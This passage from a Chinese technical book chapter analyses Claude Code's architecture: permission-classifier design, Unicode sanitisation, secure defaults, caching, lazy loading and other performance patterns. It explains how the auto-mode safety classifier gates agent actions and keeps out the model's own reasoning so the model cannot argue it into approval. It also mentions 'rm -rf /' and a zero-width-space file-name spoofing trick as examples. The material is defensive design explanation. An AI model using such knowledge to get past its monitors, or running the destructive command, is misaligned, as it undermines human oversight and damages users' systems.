大多数安全操作在阶段 1 就能快速放行（如文件读取），只有可疑操作才进入耗时的阶段 2。这平衡了安全性和延迟。

2. 安全工具白名单

typescript

// 这些工具跳过分类器 — 它们是只读的，不可能造成损害
const SAFE_TOOLS = [
  'FileRead', 'Grep', 'Glob', 'LSP',
  'TaskGet', 'TaskList', 'TaskCreate', 'TaskUpdate',
  'EnterPlanMode', 'ExitPlanMode',
]

3. 防止模型自我说服

typescript

// 构建分类器输入时，排除 assistant 的文本内容
// 只包含 user 消息 + assistant 的 tool_use blocks
// 原因：如果包含 assistant 的推理文本，模型可能被自己的
// "这个操作是安全的因为..." 说服，降低分类器的独立性

解法五：Unicode 净化 — 防御不可见字符攻击

typescript

// src/utils/sanitization.ts

// 移除危险的 Unicode 字符：
// - 格式控制符（\p{Cf}）：零宽空格、方向控制符
// - 私用区（\p{Co}）：可能被特定字体渲染为任意图形
// - 非字符（\p{Cn}）：未分配的码点

function sanitizeUnicode(input: string): string {
  // NFKC 规范化：将组合字符序列转为标准形式
  let result = input.normalize('NFKC')

  // 移除危险字符
  result = result.replace(DANGEROUS_UNICODE_PATTERN, '')

  return result
}

为什么需要这个？考虑这个攻击：

攻击者在文件名中嵌入零宽空格：
  "safe‌_file.txt"  （"safe" 和 "_file" 之间有零宽空格 U+200C）

用户看到的：safe_file.txt（看起来正常）
实际路径：safe\u200c_file.txt（不同的文件）

如果路径验证不净化 Unicode，攻击者可以创建一个
看起来像合法文件但实际指向不同位置的路径。

解法六：安全默认值（Secure by Default）

贯穿整个安全系统的一个原则是默认拒绝：

typescript

// 工具默认不是只读的
buildTool({ isReadOnly: () => false })

// 工具默认不是并发安全的
buildTool({ isConcurrencySafe: () => false })

// 权限默认需要询问
// deny 规则在 allow 规则之前检查

// 环境变量默认不应用（只有白名单中的才应用）

// 新的 QuerySource 默认不重试 529
// （必须显式添加到 FOREGROUND_529_RETRY_SOURCES）

// 路径验证失败时默认拒绝（而不是默认允许）

这确保了遗忘比错误更安全——如果开发者忘记配置某个安全属性，系统会采用更保守的默认行为。

设计决策讨论

为什么不完全依赖沙箱？

macOS Seatbelt 沙箱可以在操作系统层面限制文件访问和网络访问。但 Claude Code 不完全依赖它，原因是：

沙箱不是所有平台都可用——Linux 没有 Seatbelt，Windows 的沙箱机制不同。
沙箱的粒度不够——Seatbelt 可以限制"只能访问 /home/user/project/"，但不能限制"不能修改 .gitconfig"。
沙箱不理解语义——它不知道 rm -rf / 是危险的，只知道路径是否在允许范围内。

Claude Code 的策略是沙箱作为最后一道防线，应用层安全作为主要防线。应用层可以理解命令语义、文件语义、用户意图，做出更精细的安全决策。

权限系统的"洋葱模型"与错误处理的"洋葱模型"是对称的

错误处理从内到外传播错误，权限系统从外到内传播信任：

信任传播（从外到内）:
  用户 → 信任对话框 → 权限规则 → 分类器 → 工具执行

错误传播（从内到外）:
  工具执行 → 工具层错误处理 → API 层重试 → UI 层展示

这种对称性不是巧合——它反映了一个基本的架构原则：控制流向内传播，反馈流向外传播。

20.8 性能优化模式（Performance Optimization）

面临的问题

Claude Code 的性能优化不是一个单一问题，而是贯穿整个生命周期的多个瓶颈：

启动阶段：200+ 模块的加载、子进程 spawn（git、keychain、MDM）、网络连接建立
首次交互：System Prompt 构建、git 状态获取、用户信息初始化
对话过程：API 请求延迟、工具执行延迟、UI 渲染帧率
长会话：内存增长、缓存膨胀、消息列表渲染性能

前面的章节已经分散地讨论了各种优化技术。本节将它们系统化，提炼出贯穿整个代码库的性能优化模式。

模式一：时间重叠（Time Overlapping）

核心思想：如果两个操作没有数据依赖，让它们在时间上重叠。

这是 Claude Code 中最普遍的优化模式，出现在多个层面：

层面 1: 启动期副作用前置
─────────────────────────────────────────────────────────
startMdmRawRead()          ──→ [plutil 子进程......]
startKeychainPrefetch()    ──→ [keychain 读取......]
import chalk               ─┐
import React                │ ~135ms 模块加载
import ...                 ─┘ （子进程在后台并行）

层面 2: API 预连接
─────────────────────────────────────────────────────────
preconnectAnthropicApi()   ──→ [TCP+TLS 握手 ~100-200ms]
action handler 初始化      ──→ [~100ms 的准备工作]
                                （握手与准备工作重叠）

层面 3: 延迟预取
─────────────────────────────────────────────────────────
REPL 首屏渲染完成
  ├─ initUser()            ──→ [后台执行...]
  ├─ getSystemContext()    ──→ [git 命令...]
  ├─ countFilesRoundedRg() ──→ [rg 计数...]
  │
  │   用户正在输入...（预取在后台完成）
  │
  └─ 用户按 Enter → 命中缓存，零延迟

层面 4: 工具并发执行
─────────────────────────────────────────────────────────
FileRead A ──┐
FileRead B ──┤ 并发执行（isConcurrencySafe = true）
FileRead C ──┘

关键约束：时间重叠必须尊重依赖顺序和安全约束。例如：

API 预连接必须在 mTLS/proxy 配置之后（否则连接不经过代理）
Git 预取必须在信任对话框之后（否则可能执行恶意 git hooks）
环境变量应用必须在配置加载之后

模式二：编译期消除（Compile-Time Elimination）

核心思想：如果某个代码路径在当前构建中永远不会执行，在编译期就删除它。

typescript

// src/entrypoints/cli.tsx
import { feature } from 'bun:bundle'

// 编译期求值：外部构建中 feature('DAEMON') === false
// bundler 的 DCE 会删除整个 if 块，包括 import()
if (feature('DAEMON') && args[0] === 'daemon') {
  const { daemonMain } = await import('../daemon/main.js')
  await daemonMain(args.slice(1))
  return
}

这比运行时 if 判断更彻底：

运行时 if：代码存在于 bundle 中，占用磁盘和内存，只是不执行
编译期 feature()：代码从 bundle 中完全消失，连 import() 的目标模块都不会被打包

源码中有 18+ 个 feature flag，控制从 Daemon、Bridge、后台会话到语音输入、SSH Remote 等子系统的编译期开关。

模式三：分层缓存（Layered Caching）

核心思想：不同的数据有不同的变化频率和访问模式，用不同的缓存策略。

┌─────────────────────────────────────────────────────────┐
│ 层级 1: 进程级不变值（lodash memoize）                    │
│ 例：git 路径、平台信息、配置目录                          │
│ 特点：计算一次，永不过期，无界缓存                        │
│ 命中率：100%（首次之后）                                  │
├─────────────────────────────────────────────────────────┤
│ 层级 2: 会话级可变值（memoizeWithTTL）                    │
│ 例：AWS 凭证、远程配置、遥测 opt-out 状态                 │
│ 特点：5 分钟 TTL，后台刷新，并发去重                      │
│ 命中率：高（大部分请求命中缓存，偶尔后台刷新）             │
├─────────────────────────────────────────────────────────┤
│ 层级 3: 热路径有界缓存（memoizeWithLRU）                  │
│ 例：git root 查找、JSON 解析、命令规格、Markdown 渲染     │
│ 特点：LRU 驱逐，有界内存（max 50-100）                   │
│ 命中率：取决于工作集大小                                  │
├─────────────────────────────────────────────────────────┤
│ 层级 4: 对象关联缓存（WeakMap）                           │
│ 例：消息渲染、Diff 渲染、Zod→JSON Schema 转换            │
│ 特点：自动 GC，生命周期跟随键对象                         │
│ 命中率：高（同一对象多次渲染时）                          │
├─────────────────────────────────────────────────────────┤
│ 层级 5: 文件状态缓存（FileStateCache / FileReadCache）    │
│ 例：文件内容、文件 mtime                                  │
│ 特点：mtime 失效、大小限制（25MB / 1000 条目）            │
│ 命中率：高（文件在工具调用间通常不变）                     │
├─────────────────────────────────────────────────────────┤
│ 层级 6: 设置缓存（settingsCache）                         │
│ 例：合并后的设置、每来源设置、解析后的文件                 │
│ 特点：三级缓存，cwd 变化时全部清除                        │
│ 命中率：极高（设置在会话中很少变化）                       │
└─────────────────────────────────────────────────────────┘

每一层的缓存策略都是针对其数据特征精心选择的。使用错误的策略会导致问题：

对可变值用无界缓存 → 数据过期
对热路径用无界缓存 → 内存泄漏（曾经发生过：lodash memoize 导致 300MB+）
对大对象用 Map 缓存 → 阻止 GC

模式四：惰性求值（Lazy Evaluation）

核心思想：推迟计算到真正需要结果的时刻。

typescript

// 1. lazySchema — 推迟 Zod schema 构建
const inputSchema = lazySchema(() => z.strictObject({
  // 只在第一次验证工具输入时构建
}))

// 2. 延迟 require — 推迟模块加载
const getTeamCreateTool = () =>
  require('./tools/TeamCreateTool/TeamCreateTool.js').TeamCreateTool

// 3. 动态 import — 推迟子系统加载
if (args[0] === 'daemon') {
  const { daemonMain } = await import('../daemon/main.js')
}

// 4. 延迟预取 — 推迟到首屏渲染后
export function startDeferredPrefetches(): void {
  void initUser()        // 首屏不需要，但首次 API 调用需要
  void getUserContext()   // 同上
}

// 5. 条件初始化 — 只在需要时初始化
if (isEligibleForRemoteManagedSettings()) {
  initializeRemoteManagedSettingsLoadingPromise()
}

惰性求值的核心 trade-off 是首次访问延迟 vs 启动速度。Claude Code 的策略是：

启动关键路径上的操作：立即执行
首次交互需要的操作：延迟到首屏渲染后预取
可能永远不需要的操作：延迟到首次使用时

模式五：渲染优化

核心思想：终端 UI 的渲染开销不亚于 Web 应用。

typescript

// 1. 帧率节流 — Ink 渲染引擎
// FRAME_INTERVAL_MS = 16.67ms（60fps）
// 使用 lodash throttle 限制渲染频率

// 2. 虚拟滚动 — 长消息列表
// hooks/useVirtualScroll.ts
// 只渲染可见区域的消息，不渲染屏幕外的内容

// 3. 渲染缓存 — WeakMap
// components/StructuredDiff.tsx
const RENDER_CACHE = new WeakMap<object, ReactNode>()
// 同一个 diff 对象多次渲染时，直接返回缓存的 ReactNode

// 4. 行宽缓存 — 避免重复测量
// ink/line-width-cache.ts
const cache = new Map<string, number>()
// 终端中计算字符串宽度（考虑 CJK、emoji）是昂贵的
// 缓存避免对同一字符串重复计算

// 5. Markdown token 缓存
// components/Markdown.tsx
const tokenCache = new Map<string, Token[]>()
// Markdown 解析结果缓存，避免重复解析

模式六：可观测性驱动优化

核心思想：没有测量就没有优化。

typescript

// 1. 启动性能打点
profileCheckpoint('main_tsx_entry')
profileCheckpoint('main_tsx_imports_loaded')      // ~135ms
profileCheckpoint('init_function_start')
profileCheckpoint('init_configs_enabled')
profileCheckpoint('init_network_configured')
profileCheckpoint('init_function_end')

// 2. 性能基准测试环境变量
CLAUDE_CODE_EXIT_AFTER_FIRST_RENDER=1
// 首屏渲染后立即退出，精确测量启动时间

// 3. 慢操作追踪
// utils/slowOperations.ts
// 追踪文件系统操作、JSON 序列化等可能的慢操作

// 4. 诊断日志（无 PII）
logForDiagnosticsNoPII('api_request_duration', { ms: 1234 })
// 写入 CLAUDE_CODE_DIAGNOSTICS_FILE，用于性能分析

// 5. 分析事件
logEvent('tengu_api_retry', { delay_ms: 500, attempt: 2 })
logEvent('tengu_streaming_error', { error_type: 'timeout' })

设计决策讨论

性能优化的"收益递减"问题

Claude Code 的启动优化已经非常激进——副作用前置、编译期消除、延迟加载、并行预取。进一步优化的边际收益越来越小，但代码复杂度的增加是线性的。

源码中的注释反映了这种权衡意识：

typescript

// main.tsx 顶部的副作用前置
// eslint-disable — 这在常规代码中是反模式，但在这里是刻意的性能优化

团队选择在性能关键路径上打破常规（如在 import 之间穿插副作用），但在非关键路径上保持代码整洁。这是一个务实的决策——不是所有代码都需要极致优化，只有瓶颈处才值得付出复杂度代价。

缓存失效是计算机科学中最难的问题之一

Claude Code 的缓存体系中，最微妙的部分不是缓存本身，而是失效策略：

设置缓存在 setCwd() 时清除（因为不同目录有不同的项目设置）
文件状态缓存用 mtime 判断失效
TTL 缓存用时间戳判断失效，但后台刷新时用身份守卫防止竞态
WeakMap 缓存依赖 GC 自动失效

每种失效策略都有其适用场景和局限性。没有"万能"的缓存失效方案——这就是为什么 Claude Code 需要这么多种缓存策略。

20.9 总结：架构模式的统一视角

回顾本章讨论的所有模式，可以发现它们不是孤立的技巧，而是对一组基本矛盾的系统性回答：

矛盾与解法的对应关系

┌──────────────────────────┬──────────────────────────────────────┐
│ 基本矛盾                  │ 解法模式                              │
├──────────────────────────┼──────────────────────────────────────┤
│ 性能 vs 规模              │ 分层缓存、编译期消除、时间重叠、       │
│                          │ 惰性求值、延迟预取                     │
├──────────────────────────┼──────────────────────────────────────┤
│ 灵活性 vs 安全            │ 纵深防御、安全默认、分阶段信任、       │
│                          │ YOLO 分类器、路径全链路验证             │
├──────────────────────────┼──────────────────────────────────────┤
│ 可扩展性 vs 一致性        │ 注册表模式、buildTool 工厂、           │
│                          │ 合并层去重、内置优先                   │
├──────────────────────────┼──────────────────────────────────────┤
│ 并发 vs 正确性            │ isConcurrencySafe 分区、              │
│                          │ sequential 串行化、WeakRef 取消层级、  │
│                          │ 并发去重、身份守卫                     │
├──────────────────────────┼──────────────────────────────────────┤
│ 模块化 vs 循环依赖        │ 类型集中化、延迟 require、             │
│                          │ lazySchema、零依赖服务、函数导出       │
├──────────────────────────┼──────────────────────────────────────┤
│ 类型安全 vs LLM 不确定性  │ Zod schema、semanticBoolean、         │
│                          │ Branded Types、Discriminated Unions、 │
│                          │ DeepImmutable                        │
├──────────────────────────┼──────────────────────────────────────┤
│ 错误恢复 vs 系统稳定      │ 分层错误类型、智能重试引擎、           │
│                          │ 优雅退出、清理注册表、fire-and-forget  │
└──────────────────────────┴──────────────────────────────────────┘

贯穿所有模式的设计哲学

1. 安全默认（Secure by Default）

从工具的 isConcurrencySafe: false 到权限的"默认询问"，从环境变量的白名单到 529 重试的白名单——系统在每个决策点都选择更保守的默认值。遗忘一个配置不会导致安全漏洞，只会导致功能受限。

2. 在边界处验证，在内部信任类型

外部输入（LLM 输出、用户配置、MCP 响应）在进入系统时通过 Zod schema 严格验证。一旦通过验证，系统内部通过 TypeScript 类型系统保证正确性，不再重复验证。Branded Types 和 Discriminated Unions 让编译器成为安全的守护者。

3. 务实胜过完美

循环依赖不追求零容忍，而是用延迟 require 管理。缓存不追求统一框架，而是为每种场景选择最合适的原语。性能优化不追求全局最优，而是聚焦瓶颈。代码风格在关键路径上可以打破常规（如 import 间穿插副作用），但必须用注释解释原因。

4. 可观测性是一切优化的前提

从 profileCheckpoint 到 logForDiagnosticsNoPII，从 CLAUDE_CODE_EXIT_AFTER_FIRST_RENDER 到分析事件——系统在每个关键路径上都埋设了观测点。没有测量，就不知道瓶颈在哪里；没有数据，就无法验证优化是否有效。

5. 对称性是好架构的标志

错误处理的"洋葱模型"与权限系统的"洋葱模型"是对称的。注册表的"注册-过滤-合并"三层结构在工具、命令、任务中是一致的。缓存的"计算-存储-失效"生命周期在所有缓存策略中是统一的。这种对称性不是刻意追求的，而是好的抽象自然产生的结果。

关键源码索引

文件	职责	关键导出
缓存与记忆化
`utils/memoize.ts`	三种记忆化策略	`memoizeWithTTL`, `memoizeWithTTLAsync`, `memoizeWithLRU`
`utils/fileStateCache.ts`	文件状态 LRU 缓存	`FileStateCache`
`utils/fileReadCache.ts`	文件读取缓存	`FileReadCache`
`utils/settings/settingsCache.ts`	三级设置缓存	`resetSettingsCache()`
注册表与扩展
`tools.ts`	工具注册表	`getAllBaseTools()`, `getTools()`, `assembleToolPool()`
`Tool.ts`	工具类型与工厂	`Tool<I,O,P>`, `buildTool()`, `findToolByName()`
`commands.ts`	命令注册表	`COMMANDS()`, `loadAllCommands()`
`tasks.ts`	任务注册表	`getAllTasks()`
`hooks/useMergedTools.ts`	工具合并层	`useMergedTools()`
`hooks/useMergedCommands.ts`	命令合并层	`useMergedCommands()`
并发与取消
`utils/abortController.ts`	WeakRef 安全的取消层级	`createChildAbortController()`
`utils/sequential.ts`	串行化包装器	`sequential()`
`utils/generators.ts`	并发 AsyncGenerator	`all()`, `lastX()`, `toArray()`
`services/tools/toolOrchestration.ts`	工具并发调度	`runTools()`, `partitionToolCalls()`
类型安全
`utils/lazySchema.ts`	延迟 schema 构建	`lazySchema()`
`utils/semanticBoolean.ts`	LLM 友好的布尔验证	`semanticBoolean()`
`types/ids.ts`	Branded ID 类型	`SessionId`, `AgentId`, `toAgentId()`
`schemas/hooks.ts`	提取的 Hook schemas	`HookCommandSchema`, `HooksSchema`
循环依赖
`types/` 目录	集中化的纯类型定义	各类型文件
`services/analytics/index.ts`	零依赖分析服务	`logEvent()`, `attachAnalyticsSink()`
`utils/cleanupRegistry.ts`	零依赖清理注册	`registerCleanup()`, `runCleanupFunctions()`
错误处理
`utils/errors.ts`	错误类型体系	`ClaudeError`, `ShellError`, `toError()`, `shortErrorStack()`
`services/api/withRetry.ts`	智能重试引擎	`withRetry()`, `CannotRetryError`, `FallbackTriggeredError`
`services/api/errors.ts`	API 错误分类	`classifyAPIError()`, `getAssistantMessageFromError()`
`utils/gracefulShutdown.ts`	优雅退出序列	`setupGracefulShutdown()`
安全
`utils/permissions/pathValidation.ts`	路径边界检查	路径语法验证函数
`utils/permissions/filesystem.ts`	文件系统权限	读写权限决策函数
`utils/permissions/yoloClassifier.ts`	Auto 模式分类器	YOLO 分类器实现
`utils/permissions/dangerousPatterns.ts`	危险命令模式	危险模式列表
`utils/fsOperations.ts`	安全文件操作	符号链接全链路解析
`utils/sanitization.ts`	Unicode 净化	`sanitizeUnicode()`
`utils/managedEnv.ts`	环境变量安全	`applySafeConfigEnvironmentVariables()`
性能
`utils/startupProfiler.ts`	启动性能打点	`profileCheckpoint()`, `profileReport()`
`utils/diagLogs.ts`	诊断日志	`logForDiagnosticsNoPII()`
`ink/line-width-cache.ts`	行宽测量缓存	行宽缓存

第二十章：工程实践与架构模式（Engineering Patterns） ​

核心问题 ​

20.1 缓存与记忆化模式（Caching & Memoization） ​

面临的问题 ​

解法：三层缓存体系 ​

策略一：lodash memoize — 进程级不变值 ​

策略二：memoizeWithTTL — 带过期的写穿缓存 ​

策略三：memoizeWithLRU — 有界 LRU 缓存 ​

策略四：WeakMap — 对象关联的自动 GC 缓存 ​

设计决策讨论 ​

20.2 注册表与可扩展性模式（Registry & Extensibility） ​

面临的问题 ​

解法：统一的注册表模式 ​

工具注册表：tools.ts ​

命令注册表：commands.ts ​

任务注册表：tasks.ts ​

buildTool：工厂 + 默认值填充 ​

设计决策讨论 ​

20.3 并发与取消模式（Concurrency & Cancellation） ​

面临的问题 ​

解法一：基于 isConcurrencySafe 的工具分区执行 ​

解法二：WeakRef 安全的 AbortController 层级 ​

解法三：sequential() — 串行化包装器 ​

解法四：并发去重（In-Flight Deduplication） ​

设计决策讨论 ​

20.4 类型安全模式（Type Safety） ​

面临的问题 ​

解法一：Zod Schema — 运行时类型验证 ​

解法二：Branded Types — 编译期 ID 混淆防护 ​

解法三：Discriminated Unions — 穷尽式分支处理 ​

解法四：DeepImmutable — 防止意外修改 ​

解法五：类型守卫 — 运行时类型收窄 ​

解法六：as const satisfies — 字面量类型 + 结构验证 ​

数据流：从 LLM 输出到类型安全的完整链路 ​

设计决策讨论 ​

20.5 循环依赖处理模式（Circular Dependency Resolution） ​

面临的问题 ​

解法一：类型集中化 — types/ 目录打破导入环 ​

解法二：延迟 require — 运行时打破循环 ​

解法三：函数导出代替顶层常量 ​

解法四：零依赖服务 — 事件队列模式 ​

解法五：lazySchema — 延迟 schema 构建 ​

设计决策讨论 ​

20.6 错误处理模式（Error Handling） ​

面临的问题 ​

解法一：分层错误类型体系 ​

错误工具函数：边界处的类型安全 ​

解法二：智能重试引擎 — withRetry ​

解法三：优雅退出 — 多阶段关闭序列 ​

解法四：清理注册表 — 解耦注册与执行 ​

解法五：Fire-and-Forget 与错误吞没 ​

设计决策讨论 ​

20.7 安全设计模式（Security by Design） ​

面临的问题 ​

解法一：纵深防御（Defense in Depth） ​

解法二：路径验证 — 防御符号链接和编码绕过 ​

解法三：环境变量安全 — 分阶段应用 ​

解法四：YOLO 分类器 — Auto 模式的安全兜底 ​

解法五：Unicode 净化 — 防御不可见字符攻击 ​

解法六：安全默认值（Secure by Default） ​

设计决策讨论 ​

20.8 性能优化模式（Performance Optimization） ​

面临的问题 ​

模式一：时间重叠（Time Overlapping） ​

模式二：编译期消除（Compile-Time Elimination） ​

模式三：分层缓存（Layered Caching） ​

模式四：惰性求值（Lazy Evaluation） ​

模式五：渲染优化 ​

模式六：可观测性驱动优化 ​

设计决策讨论 ​

20.9 总结：架构模式的统一视角 ​

矛盾与解法的对应关系 ​

贯穿所有模式的设计哲学 ​

关键源码索引 ​

第二十章：工程实践与架构模式（Engineering Patterns）

核心问题

20.1 缓存与记忆化模式（Caching & Memoization）

面临的问题

解法：三层缓存体系

策略一：lodash memoize — 进程级不变值

策略二：memoizeWithTTL — 带过期的写穿缓存

策略三：memoizeWithLRU — 有界 LRU 缓存

策略四：WeakMap — 对象关联的自动 GC 缓存

设计决策讨论

20.2 注册表与可扩展性模式（Registry & Extensibility）

面临的问题

解法：统一的注册表模式

工具注册表：`tools.ts`

命令注册表：`commands.ts`

任务注册表：`tasks.ts`

`buildTool`：工厂 + 默认值填充

设计决策讨论

20.3 并发与取消模式（Concurrency & Cancellation）

面临的问题

解法一：基于 `isConcurrencySafe` 的工具分区执行

解法二：WeakRef 安全的 AbortController 层级

解法三：`sequential()` — 串行化包装器

解法四：并发去重（In-Flight Deduplication）

设计决策讨论

20.4 类型安全模式（Type Safety）

面临的问题

解法一：Zod Schema — 运行时类型验证

解法二：Branded Types — 编译期 ID 混淆防护

解法三：Discriminated Unions — 穷尽式分支处理

解法四：DeepImmutable — 防止意外修改

解法五：类型守卫 — 运行时类型收窄

解法六：`as const satisfies` — 字面量类型 + 结构验证

数据流：从 LLM 输出到类型安全的完整链路

设计决策讨论

20.5 循环依赖处理模式（Circular Dependency Resolution）

面临的问题

解法一：类型集中化 — `types/` 目录打破导入环

解法二：延迟 require — 运行时打破循环

解法三：函数导出代替顶层常量

解法四：零依赖服务 — 事件队列模式

解法五：`lazySchema` — 延迟 schema 构建

设计决策讨论

20.6 错误处理模式（Error Handling）

面临的问题

解法一：分层错误类型体系

错误工具函数：边界处的类型安全

解法二：智能重试引擎 — `withRetry`

解法三：优雅退出 — 多阶段关闭序列

解法四：清理注册表 — 解耦注册与执行

解法五：Fire-and-Forget 与错误吞没

设计决策讨论

20.7 安全设计模式（Security by Design）

面临的问题

解法一：纵深防御（Defense in Depth）

解法二：路径验证 — 防御符号链接和编码绕过

解法三：环境变量安全 — 分阶段应用

解法四：YOLO 分类器 — Auto 模式的安全兜底

解法五：Unicode 净化 — 防御不可见字符攻击

解法六：安全默认值（Secure by Default）

设计决策讨论

20.8 性能优化模式（Performance Optimization）

面临的问题

模式一：时间重叠（Time Overlapping）

模式二：编译期消除（Compile-Time Elimination）

模式三：分层缓存（Layered Caching）

模式四：惰性求值（Lazy Evaluation）

模式五：渲染优化

模式六：可观测性驱动优化

设计决策讨论

20.9 总结：架构模式的统一视角

矛盾与解法的对应关系

贯穿所有模式的设计哲学

关键源码索引